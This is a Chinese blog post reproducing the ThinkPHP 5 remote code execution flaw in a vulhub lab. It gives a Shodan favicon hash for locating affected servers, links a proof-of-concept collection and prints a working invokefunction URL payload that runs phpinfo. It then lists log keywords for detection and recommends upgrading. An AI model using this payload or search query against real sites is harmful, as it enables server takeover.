ThinkPHP 5 核心类Request远程代码执行漏洞复现
漏洞简述
攻击者构造特定的恶意请求,可以直接获取服务器权限,受影响的版本包括5.0.0~5.0.23版本及5.1多个版本。由于ThinkPHP5框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。
漏洞影响版本
5.0.0~5.0.23版本及5.1多个版本
Shodan 搜索语法
http.favicon.hash:1165838194
漏洞exp
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
漏洞环境搭建
使用vulhub进行复现,运行ThinkPHP 5.0.20版本。环境启动后,访问http://your-ip:8080
即可看到ThinkPHP默认启动页面。
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
即可执行phpinfo。
溯源排查
排查关键词:
/?s=index/index ?s=index/\think call_user_func
本地使用docker进行搭建,可以使用docker logs查看日志。
也可以排查 thinkphp runtime日志。
thinkphp 日志配置
参考:https://www.kancloud.cn/manual/thinkphp5/118127
修复方式
升级ThinkPHP至最新版本。
赞赏微信赞赏支付宝赞赏
发表评论